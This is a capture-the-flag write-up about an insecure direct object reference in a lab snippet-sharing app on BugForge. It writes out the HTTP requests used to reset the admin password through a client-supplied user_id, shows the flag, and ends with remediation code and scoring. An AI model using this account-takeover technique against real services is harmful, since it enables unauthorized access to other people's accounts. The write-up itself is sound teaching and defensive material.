Copypasta: IDOR Password Reset to Account Takeover
Overview
- Platform: BugForge
- Vulnerability: Insecure Direct Object Reference (IDOR) — password change endpoint trusts client-supplied user_id
- Key Technique: Replacing user_id in the password change request body to target the admin account
- Result: Changed admin password, logged in as admin, retrieved flag from private snippet
Objective
Find and exploit a vulnerability in the BugForge “Copypasta” snippet-sharing application to capture the flag.
Initial Access
# Target Application
URL: https://lab-1774391462968-snsyjs.labs-app.bugforge.io
# Auth details
POST /api/register with {username, password}
Returns JWT Bearer token (HS256, no expiry)
Registered as: haxor (id:5, role: user)
Key Findings
- IDOR on PUT /api/profile/password (CWE-639: Authorization Bypass Through User-Controlled Key) — The password change endpoint accepts
user_idin the request body and uses it to determine whose password to update, instead of extracting the user identity from the authenticated JWT token. Any authenticated user can reset any other user’s password, including admin, leading to full account takeover.
Attack Chain Visualization
┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ Register │────▶│ Recon: Review │────▶│ IDOR: Change │────▶│ Login as Admin │
│ (haxor) │ │ JS bundle for │ │ admin password │ │ Retrieve flag │
│ Get JWT │ │ API endpoints │ │ via user_id:1 │ │ from private │
└──────────────┘ └──────────────────┘ └──────────────────┘ │ snippet │
└──────────────────┘
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (Node.js) |
| Frontend | React SPA (main.3f925b5d.js) |
| Auth | JWT HS256 — payload: {id, username, iat}, no expiry, role not in token |
| Database | SQLite (integer booleans, date format) |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | No | Returns JWT + user object |
| /api/login | POST | No | Returns JWT |
| /api/verify-token | GET | Yes | Returns user object with role |
| /api/profile/:username | GET | No | Leaks role, email |
| /api/profile | PUT | Yes | Updates full_name, bio, email |
| /api/profile/password | PUT | Yes | VULN: accepts user_id in body |
| /api/snippets | GET | Yes | Own snippets |
| /api/snippets/public | GET | No | All public snippets |
| /api/snippets/share/:uuid | GET | No | Single snippet by share code |
| /api/snippets/:id/like | POST | Yes | — |
| /api/snippets/:id/comments | GET/POST | Yes/Yes | — |
Known Users
| Username | ID | Role |
|---|---|---|
| admin | 1 | admin |
| coder123 | 2 | user |
| pythonista | 3 | user |
| webdev | 4 | user |
| haxor | 5 | user (us) |
Exploitation Path
Step 1: Register and Authenticate
POST /api/register HTTP/1.1
Content-Type: application/json
{
"username": "haxor",
"password": "password123"
}
Response returns JWT with payload {"id":5,"username":"haxor","iat":...}. Role is stored server-side only — fetched via /api/verify-token, not included in the JWT.
Step 2: Recon — Discover Password Change Sends user_id
Reviewing the React bundle (main.3f925b5d.js) revealed that the password change functionality sends a request to PUT /api/profile/password with both the new password and the user_id in the request body. This is a red flag — the user identity should come from the server-side JWT verification, not from client-supplied data.
PUT /api/profile/password HTTP/1.1
Authorization: Bearer <haxor_jwt>
Content-Type: application/json
{
"password": "password",
"user_id": 5
}
Step 3: IDOR — Change Admin Password
Modified the user_id from 5 (our user) to 1 (admin) while keeping our own JWT for authentication:
PUT /api/profile/password HTTP/1.1
Authorization: Bearer <haxor_jwt>
Content-Type: application/json
{
"password": "pwned123",
"user_id": 1
}
Response: 200 OK — the server accepted the request without verifying that the authenticated user (id:5) matches the target user_id (1).
Step 4: Login as Admin and Retrieve Flag
POST /api/login HTTP/1.1
Content-Type: application/json
{
"username": "admin",
"password": "pwned123"
}
Login succeeded — confirmed the admin password was changed. Used the admin JWT to access private snippets:
GET /api/snippets HTTP/1.1
Authorization: Bearer <admin_jwt>
Flag found in a private snippet on the admin account.
Flag / Objective Achieved
| Vector | Flag |
|---|---|
| IDOR on PUT /api/profile/password (user_id:1) → admin login → private snippet | bug{Bm77EhRHP9YywvBbAZrXGRtktmYXKzK0} |
Key Learnings
- Never trust client-supplied identity for authorization decisions. The server had the user’s identity in the JWT (
req.user.idfrom token verification), but the password change handler usedreq.body.user_idinstead. The identity for sensitive operations must always come from the authenticated session, never from the request body. - Frontend code reveals backend assumptions. The React bundle showed that
user_idwas being sent in the password change request, immediately signaling that the backend might trust this value. JS bundle review is a high-value recon step. - IDOR on password change = full account takeover. Unlike IDOR on data access (read someone’s snippet) or IDOR on deletion (destroy a resource), IDOR on password change gives the attacker persistent access to the victim account. The impact severity is significantly higher.
- Role separation via server-side lookup doesn’t help if identity is client-controlled. The app correctly kept the role out of the JWT and looked it up server-side, but this defense is irrelevant when the attacker can impersonate any user through the password change IDOR.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| N/A — first hypothesis was correct | — | The JS bundle review immediately revealed the vulnerability; no dead ends encountered |
Tools Used
| Tool | Purpose |
|---|---|
| Caido | HTTP proxy — API enumeration and request replay |
| Browser DevTools | React bundle analysis, endpoint discovery |
| curl / HTTP client | Direct API endpoint testing |
Remediation
1. IDOR on Password Change — Client-Supplied user_id (CVSS: 9.1 - Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Issue: The PUT /api/profile/password endpoint accepts user_id from the request body and uses it to determine which user’s password to change. Any authenticated user can change any other user’s password, leading to full account takeover including admin accounts.
CWE Reference: CWE-639 — Authorization Bypass Through User-Controlled Key
Fix:
// BEFORE (Vulnerable)
router.put('/profile/password', authMiddleware, async (req, res) => {
const { password, user_id } = req.body;
const user = await User.findByPk(user_id);
await user.update({ password: hash(password) });
res.json({ message: 'Password updated' });
});
// AFTER (Secure)
router.put('/profile/password', authMiddleware, async (req, res) => {
const { password } = req.body;
// Always derive identity from the authenticated JWT — never from request body
const user = await User.findByPk(req.user.id);
await user.update({ password: hash(password) });
res.json({ message: 'Password updated' });
});
Additional recommendations:
- Remove
user_idfrom the request body entirely — the frontend should not send it. - Require the current password before allowing a password change (CWE-620 mitigation).
- Implement rate limiting on password change attempts.
- Log all password change events with the requesting user’s identity for audit purposes.
2. Password Change Without Old Password Verification (CVSS: 5.4 - Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Issue: Even after fixing the IDOR, the password change endpoint does not require the current password. If a session is compromised (XSS, session fixation), the attacker can lock out the legitimate user.
CWE Reference: CWE-620 — Unverified Password Change
Fix:
// Require old password verification
router.put('/profile/password', authMiddleware, async (req, res) => {
const { old_password, new_password } = req.body;
const user = await User.findByPk(req.user.id);
if (!await verify(old_password, user.password)) {
return res.status(403).json({ error: 'Current password incorrect' });
}
await user.update({ password: hash(new_password) });
res.json({ message: 'Password updated' });
});
OWASP Top 10 Coverage
- A01:2021 — Broken Access Control: The core vulnerability. The password change endpoint uses a client-supplied identifier instead of the server-side authenticated identity, allowing any user to change any other user’s password.
- A04:2021 — Insecure Design: Sending
user_idin the request body for a password change is a design flaw. The identity for sensitive operations should never be client-controlled when an authenticated session exists. - A07:2021 — Identification and Authentication Failures: The password change does not require the current password, weakening account security even after the IDOR is fixed.
References
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-620: Unverified Password Change
- OWASP Testing Guide: IDOR Testing
- OWASP Top 10:2021 — Broken Access Control
Tags: #idor #account-takeover #broken-access-control #password-reset #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-03-24